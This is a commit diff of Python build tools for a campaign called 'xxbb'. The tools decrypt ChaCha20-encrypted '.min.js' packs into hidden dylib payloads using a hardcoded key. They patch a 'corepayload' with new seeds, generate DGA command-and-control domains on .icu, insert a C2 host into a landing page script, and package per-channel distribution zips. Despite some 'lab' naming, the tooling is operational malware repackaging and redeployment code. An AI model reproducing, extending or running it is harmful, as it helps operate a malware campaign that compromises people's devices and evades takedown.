feat: xxbb
This commit is contained in:
@@ -0,0 +1,114 @@
|
||||
"""Discover type-0x01 secondary stems/keys from helper + primary type-0x07."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import re
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
from _secondary_pack import F00D_MAGIC, chacha_crypt, decrypt_secondary_minjs, unwrap_xz
|
||||
|
||||
NAME_RE = re.compile(rb"([0-9a-f]{40}\.min\.js)")
|
||||
DEFAULT_HELPER_STEM = "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb"
|
||||
|
||||
|
||||
def parse_f00d_entries(data: bytes) -> list[dict]:
|
||||
magic, count = struct.unpack_from("<II", data, 0)
|
||||
if magic != F00D_MAGIC:
|
||||
raise ValueError("not F00DBEEF")
|
||||
if not 1 <= count <= 16:
|
||||
raise ValueError(f"unexpected F00DBEEF entry count {count}")
|
||||
entries = []
|
||||
for i in range(count):
|
||||
typ, flags, offset, size = struct.unpack_from("<4I", data, 8 + i * 16)
|
||||
payload = data[offset : offset + size]
|
||||
if len(payload) != size:
|
||||
raise ValueError("truncated F00DBEEF payload")
|
||||
entries.append(
|
||||
{
|
||||
"type": (typ >> 16) & 0xFFFF,
|
||||
"type_raw": typ,
|
||||
"flags": flags,
|
||||
"offset": offset,
|
||||
"size": size,
|
||||
"payload": payload,
|
||||
}
|
||||
)
|
||||
return entries
|
||||
|
||||
|
||||
def parse_07_slots(payload: bytes) -> list[dict]:
|
||||
"""type-0x07 records: 32-byte ChaCha key immediately before `{40hex}.min.js`."""
|
||||
slots = []
|
||||
for match in NAME_RE.finditer(payload):
|
||||
name = match.group(1).decode("ascii")
|
||||
start = match.start()
|
||||
if start < 32:
|
||||
continue
|
||||
key = payload[start - 32 : start]
|
||||
slots.append({"stem": name[:-7], "file": name, "key": key.hex()})
|
||||
return slots
|
||||
|
||||
|
||||
def decrypt_pack(blob: bytes, key: bytes) -> bytes:
|
||||
return unwrap_xz(chacha_crypt(blob, key))
|
||||
|
||||
|
||||
def discover_secondary_stems(
|
||||
weifile: Path,
|
||||
helper_key: bytes,
|
||||
helper_stem: str = DEFAULT_HELPER_STEM,
|
||||
) -> dict[str, dict]:
|
||||
"""Return stem -> {key, size, sha256} for every type-0x01 pointed at by primaries."""
|
||||
helper_path = weifile / f"{helper_stem}.min.js"
|
||||
if not helper_path.is_file():
|
||||
raise FileNotFoundError(f"missing helper pack: {helper_path}")
|
||||
helper_plain = decrypt_pack(helper_path.read_bytes(), helper_key)
|
||||
primary_slots = []
|
||||
for entry in parse_f00d_entries(helper_plain):
|
||||
if entry["type"] == 7:
|
||||
primary_slots.extend(parse_07_slots(entry["payload"]))
|
||||
if not primary_slots:
|
||||
raise ValueError("helper type-0x07 had no primary slots")
|
||||
|
||||
stems: dict[str, dict] = {}
|
||||
for slot in primary_slots:
|
||||
primary_path = weifile / slot["file"]
|
||||
if not primary_path.is_file():
|
||||
raise FileNotFoundError(f"missing primary pack: {primary_path}")
|
||||
primary_plain = decrypt_pack(primary_path.read_bytes(), bytes.fromhex(slot["key"]))
|
||||
for entry in parse_f00d_entries(primary_plain):
|
||||
if entry["type"] != 7:
|
||||
continue
|
||||
for secondary in parse_07_slots(entry["payload"]):
|
||||
stem = secondary["stem"]
|
||||
path = weifile / secondary["file"]
|
||||
if not path.is_file():
|
||||
raise FileNotFoundError(f"missing secondary pack: {path}")
|
||||
dylib = decrypt_secondary_minjs(path.read_bytes(), bytes.fromhex(secondary["key"]))
|
||||
digest = hashlib.sha256(dylib).hexdigest()
|
||||
prev = stems.get(stem)
|
||||
if prev and prev["key"] != secondary["key"]:
|
||||
raise ValueError(f"conflicting keys for {stem}")
|
||||
stems[stem] = {
|
||||
"key": secondary["key"],
|
||||
"size": len(dylib),
|
||||
"sha256": digest,
|
||||
"dylib": dylib,
|
||||
}
|
||||
if not stems:
|
||||
raise ValueError("no type-0x01 secondaries discovered")
|
||||
return stems
|
||||
|
||||
|
||||
def group_by_dylib_hash(stems: dict[str, dict]) -> dict[str, bytes]:
|
||||
"""Unique plaintext dylibs keyed by sha256."""
|
||||
groups: dict[str, bytes] = {}
|
||||
for info in stems.values():
|
||||
digest = info["sha256"]
|
||||
if digest not in groups:
|
||||
groups[digest] = info["dylib"]
|
||||
elif groups[digest] != info["dylib"]:
|
||||
raise ValueError(f"dylib hash collision for {digest}")
|
||||
return groups
|
||||
+117
-117
@@ -1,14 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
|
||||
|
||||
Artifact layout (shared, not per-channel folders):
|
||||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||||
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
|
||||
|
||||
Artifact layout:
|
||||
{artifact-root}/details/ served landing /details/
|
||||
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
2. else {state-root}/lab_seeds.json
|
||||
3. else random generate + write lab_seeds.json
|
||||
|
||||
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -24,6 +28,7 @@ from pathlib import Path
|
||||
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
||||
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
|
||||
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
|
||||
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
|
||||
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
|
||||
"channel",
|
||||
"out",
|
||||
"t",
|
||||
"nb",
|
||||
"a",
|
||||
"u",
|
||||
"uj",
|
||||
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
|
||||
return count
|
||||
|
||||
|
||||
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
|
||||
HTTPS_CSTRINGS = (
|
||||
b"https://backup%u.icu",
|
||||
b"https://%@",
|
||||
b"https://",
|
||||
b"https",
|
||||
)
|
||||
|
||||
|
||||
def http_cstring(https_s: bytes) -> bytes:
|
||||
if not https_s.startswith(b"https"):
|
||||
raise SystemExit(f"not an https C-string: {https_s!r}")
|
||||
return b"http" + https_s[5:]
|
||||
|
||||
|
||||
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
|
||||
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
|
||||
if b"\x00" in old or b"\x00" in new:
|
||||
raise SystemExit(f"{label}: C-string must not contain NUL")
|
||||
if len(new) > len(old):
|
||||
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
|
||||
old_c = old + b"\x00"
|
||||
new_c = new + b"\x00" * (len(old_c) - len(new))
|
||||
count = 0
|
||||
start = 0
|
||||
while True:
|
||||
index = buf.find(old_c, start)
|
||||
if index < 0:
|
||||
break
|
||||
buf[index : index + len(old_c)] = new_c
|
||||
count += 1
|
||||
start = index + len(old_c)
|
||||
if count != expect:
|
||||
raise SystemExit(
|
||||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
|
||||
f"count={count} (want {expect})"
|
||||
)
|
||||
return count
|
||||
|
||||
|
||||
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
|
||||
if scheme == "https":
|
||||
for old in HTTPS_CSTRINGS:
|
||||
if buf.find(old + b"\x00") < 0:
|
||||
raise SystemExit(f"{label}: missing {old.decode()}\\0")
|
||||
return
|
||||
if scheme != "http":
|
||||
raise SystemExit("--scheme must be http or https")
|
||||
for old in HTTPS_CSTRINGS:
|
||||
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
|
||||
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
|
||||
raise SystemExit(f"{label}: https URL formats still present")
|
||||
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
|
||||
raise SystemExit(f"{label}: http URL formats missing after patch")
|
||||
|
||||
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
|
||||
|
||||
def load_keys() -> dict:
|
||||
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
|
||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||
stems = meta.get("stems")
|
||||
if not isinstance(stems, dict) or not stems:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
|
||||
helper_hex = meta.get("helper_key")
|
||||
if not isinstance(helper_hex, str) or not helper_hex:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
|
||||
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
|
||||
try:
|
||||
discovered = discover_secondary_stems(
|
||||
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
|
||||
)
|
||||
except Exception as exc:
|
||||
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
|
||||
|
||||
hash_to_group: dict[str, str] = {}
|
||||
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
|
||||
digest = sha256_hex(path.read_bytes())
|
||||
group = path.name.split("_")[1]
|
||||
if digest in hash_to_group and hash_to_group[digest] != group:
|
||||
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
|
||||
hash_to_group[digest] = group
|
||||
if not hash_to_group:
|
||||
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
|
||||
|
||||
stems: dict[str, dict] = {}
|
||||
for stem, info in discovered.items():
|
||||
group = hash_to_group.get(info["sha256"])
|
||||
if not group:
|
||||
raise SystemExit(
|
||||
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
|
||||
)
|
||||
stems[stem] = {"key": info["key"], "group": group}
|
||||
if not stems:
|
||||
raise SystemExit("discovered zero type-0x01 secondaries")
|
||||
meta["stems"] = stems
|
||||
return meta
|
||||
|
||||
|
||||
@@ -225,13 +206,11 @@ def patch_dylib(
|
||||
reporting_seed: str,
|
||||
channel_c: str,
|
||||
label: str,
|
||||
scheme: str = "https",
|
||||
) -> bytes:
|
||||
buf = bytearray(data)
|
||||
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
||||
patch_url_scheme(buf, scheme=scheme, label=label)
|
||||
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
||||
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
@@ -306,11 +285,28 @@ def build_details(
|
||||
}
|
||||
|
||||
|
||||
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
|
||||
text = html_path.read_text(encoding="utf-8")
|
||||
if CHANNEL_HTML_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
|
||||
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
|
||||
def normalize_channel_code(value: str) -> str:
|
||||
code = (value or "").strip().upper()
|
||||
if not CHANNEL_CODE_RE.fullmatch(code):
|
||||
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
|
||||
if code.lower() in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-code {code!r} is reserved")
|
||||
return code
|
||||
|
||||
|
||||
def patch_index_js_host(text: str, host: str) -> str:
|
||||
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
|
||||
if not XXBB_DGA_HOST_RE.fullmatch(host):
|
||||
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
|
||||
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
|
||||
|
||||
|
||||
def new_channel_c() -> str:
|
||||
while True:
|
||||
value = gen_seed()
|
||||
if value != SEVEN_ZIP_PASSWORD:
|
||||
return value
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
||||
|
||||
|
||||
def validate_channel_name(value: str) -> str:
|
||||
name = (value or "").strip().lower()
|
||||
if not CHANNEL_NAME_RE.fullmatch(name):
|
||||
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
|
||||
if name in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-name {name!r} is reserved")
|
||||
return name
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
return secrets.token_hex(16)
|
||||
|
||||
@@ -419,15 +406,23 @@ def resolve_seeds(
|
||||
cli_dep: str | None,
|
||||
cli_rep: str | None,
|
||||
cli_c: str | None,
|
||||
random_c: bool = False,
|
||||
) -> tuple[str, str, str, dict, bool]:
|
||||
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
||||
if bool(cli_dep) ^ bool(cli_rep):
|
||||
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
||||
if random_c and (cli_c or "").strip():
|
||||
raise SystemExit("use either --channel-c or --random-c, not both")
|
||||
|
||||
existing = load_lab_seeds(lab_seeds_path)
|
||||
channel_c = (cli_c or "").strip() or (
|
||||
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
|
||||
)
|
||||
if random_c:
|
||||
channel_c = new_channel_c()
|
||||
elif (cli_c or "").strip():
|
||||
channel_c = cli_c.strip()
|
||||
elif existing and existing.get("channel_c"):
|
||||
channel_c = str(existing["channel_c"])
|
||||
else:
|
||||
channel_c = new_channel_c()
|
||||
pack_ascii32("--channel-c", channel_c)
|
||||
if channel_c == SEVEN_ZIP_PASSWORD:
|
||||
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
||||
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||||
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument(
|
||||
"--channel-c",
|
||||
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
|
||||
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||||
"--random-c",
|
||||
action="store_true",
|
||||
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain weifile/ and details/",
|
||||
help="directory that will contain details/ (default: ../public)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
|
||||
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--out",
|
||||
type=Path,
|
||||
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
|
||||
help="intermediate .min.js / dylibs (default: <state-root>/out)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||||
help="write {artifact}/details/ and {state}/out/weifile/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace existing weifile/ and details/ (default with --apply)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
choices=("http", "https"),
|
||||
default="https",
|
||||
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
|
||||
help="replace existing details/ and staged weifile (default with --apply)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -533,12 +523,9 @@ def main() -> int:
|
||||
cli_dep=args.deployment_seed,
|
||||
cli_rep=args.reporting_seed,
|
||||
cli_c=args.channel_c,
|
||||
random_c=args.random_c,
|
||||
)
|
||||
|
||||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||||
if args.channel_name:
|
||||
validate_channel_name(args.channel_name)
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
groups = sorted({info["group"] for info in stems.values()})
|
||||
@@ -552,7 +539,6 @@ def main() -> int:
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme=args.scheme,
|
||||
)
|
||||
patched[group] = data
|
||||
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
||||
@@ -585,13 +571,15 @@ def main() -> int:
|
||||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||||
)
|
||||
|
||||
weifile_path = ""
|
||||
weifile_path = None
|
||||
details_path = ""
|
||||
staged_weifile = ""
|
||||
iptj_host = ""
|
||||
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_weifile = artifact / WEIFILE_ROOT
|
||||
dest_details = artifact / DETAILS_ROOT
|
||||
# Shared trees are always replaced on --apply.
|
||||
dest_weifile = state_root / "out" / WEIFILE_ROOT
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
@@ -600,7 +588,6 @@ def main() -> int:
|
||||
landing = dest_weifile / LANDING_NAME
|
||||
if not landing.is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
inject_channel_into_weifile(landing, channel_c)
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
@@ -609,11 +596,24 @@ def main() -> int:
|
||||
dst = dest_weifile / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied weifile -> {dest_weifile}")
|
||||
hosts = list(domains.get("deployment") or [])
|
||||
if not hosts:
|
||||
raise SystemExit("no DGA domains computed from channel_c")
|
||||
iptj_host = hosts[0]
|
||||
index_path = dest_weifile / "index.js"
|
||||
if not index_path.is_file():
|
||||
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
|
||||
index_path.write_text(
|
||||
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
|
||||
encoding="utf-8",
|
||||
)
|
||||
print(f"staged weifile -> {dest_weifile}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||||
print(f"index.js iptj host -> {iptj_host}")
|
||||
details_path = f"/{DETAILS_ROOT}/"
|
||||
staged_weifile = str(dest_weifile)
|
||||
|
||||
print(f"XXBB_CHANNEL_C={channel_c}")
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
@@ -624,10 +624,11 @@ def main() -> int:
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"weifile_path": weifile_path,
|
||||
"support_path": None,
|
||||
"details_path": details_path or None,
|
||||
"staged_weifile": staged_weifile or None,
|
||||
"iptj_host": iptj_host or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": bool(args.apply),
|
||||
"domains": domains,
|
||||
@@ -638,15 +639,14 @@ def main() -> int:
|
||||
},
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"stem_count": len(built),
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"details": details_meta,
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"details published to /details/; weifile staged under state-root/out/weifile",
|
||||
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
],
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
||||
|
||||
@@ -20,7 +20,6 @@ def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Shared weifile/details are not deleted per channel (noop)."
|
||||
)
|
||||
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
@@ -32,7 +31,6 @@ def main() -> int:
|
||||
result = {
|
||||
"status": "skipped",
|
||||
"reason": "shared_weifile_details",
|
||||
"channel_name": (args.channel_name or "").strip().lower() or None,
|
||||
"artifact_root": str(artifact_root),
|
||||
"removed": False,
|
||||
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Pack a per-channel weifile zip from the already-built staged tree.
|
||||
|
||||
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
|
||||
|
||||
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
|
||||
2. Replace CACACACA in index.js with the 8-char channel id
|
||||
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from zipfile import ZIP_DEFLATED, ZipFile
|
||||
|
||||
import build as xxbb_build
|
||||
|
||||
RESULT_MARKER = xxbb_build.RESULT_MARKER
|
||||
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
|
||||
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
|
||||
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
|
||||
|
||||
|
||||
def staged_weifile_dir(state_root: Path) -> Path:
|
||||
return state_root / "out" / WEIFILE_ROOT
|
||||
|
||||
|
||||
def patch_channel_code(text: str, channel_code: str) -> str:
|
||||
if INDEX_CHANNEL_PLACEHOLDER not in text:
|
||||
raise SystemExit(
|
||||
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
|
||||
"re-run tools/build.py --apply"
|
||||
)
|
||||
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
|
||||
|
||||
|
||||
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
|
||||
zip_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
if zip_path.exists():
|
||||
zip_path.unlink()
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
|
||||
for path in sorted(weifile_dir.rglob("*")):
|
||||
if not path.is_file():
|
||||
continue
|
||||
if path.name in skip or path.suffix == ".pyc":
|
||||
continue
|
||||
if any(part in skip for part in path.relative_to(weifile_dir).parts):
|
||||
continue
|
||||
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
|
||||
archive.write(path, rel.as_posix())
|
||||
return zip_path
|
||||
|
||||
|
||||
def pack_channel(
|
||||
*,
|
||||
channel_code: str,
|
||||
weifile_src: Path,
|
||||
zip_out: Path,
|
||||
) -> dict:
|
||||
code = xxbb_build.normalize_channel_code(channel_code)
|
||||
index_src = weifile_src / "index.js"
|
||||
if not index_src.is_file():
|
||||
raise SystemExit(
|
||||
f"staged weifile missing ({index_src}). "
|
||||
"Run: python tools/build.py --apply"
|
||||
)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / WEIFILE_ROOT
|
||||
xxbb_build.copy_tree(weifile_src, dest)
|
||||
index_path = dest / "index.js"
|
||||
index_path.write_text(
|
||||
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
|
||||
encoding="utf-8",
|
||||
)
|
||||
write_zip(dest, zip_out)
|
||||
|
||||
return {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_code": code,
|
||||
"zip_path": str(zip_out),
|
||||
"weifile_src": str(weifile_src),
|
||||
}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
|
||||
)
|
||||
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"builder state (default: {xxbb_build.default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--weifile-src",
|
||||
type=Path,
|
||||
default=None,
|
||||
help="staged weifile directory (default: <state-root>/out/weifile)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--zip-out",
|
||||
type=Path,
|
||||
required=True,
|
||||
help="output zip path",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
|
||||
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
|
||||
zip_out = args.zip_out.resolve()
|
||||
|
||||
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
|
||||
seeds_path = state_root / LAB_SEEDS_NAME
|
||||
if seeds_path.is_file():
|
||||
try:
|
||||
seeds = json.loads(seeds_path.read_text())
|
||||
if isinstance(seeds, dict):
|
||||
result["seeds"] = {
|
||||
"deployment_seed": seeds.get("deployment_seed"),
|
||||
"reporting_seed": seeds.get("reporting_seed"),
|
||||
"channel_c": seeds.get("channel_c"),
|
||||
}
|
||||
result["domains"] = seeds.get("domains") or {"deployment": [], "reporting": []}
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
print(f"packed {result['channel_code']} -> {zip_out}")
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,5 +1,7 @@
|
||||
{
|
||||
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
|
||||
"note": "Per-stem ChaCha20 keys from FAFA9988 primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds (different bytes); B is 747936. build.py also rediscovers stems from source/weifile via helper type-0x07.",
|
||||
"source": "FAFA9988/weifile",
|
||||
"helper_stem": "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb",
|
||||
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
|
||||
"originals": {
|
||||
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
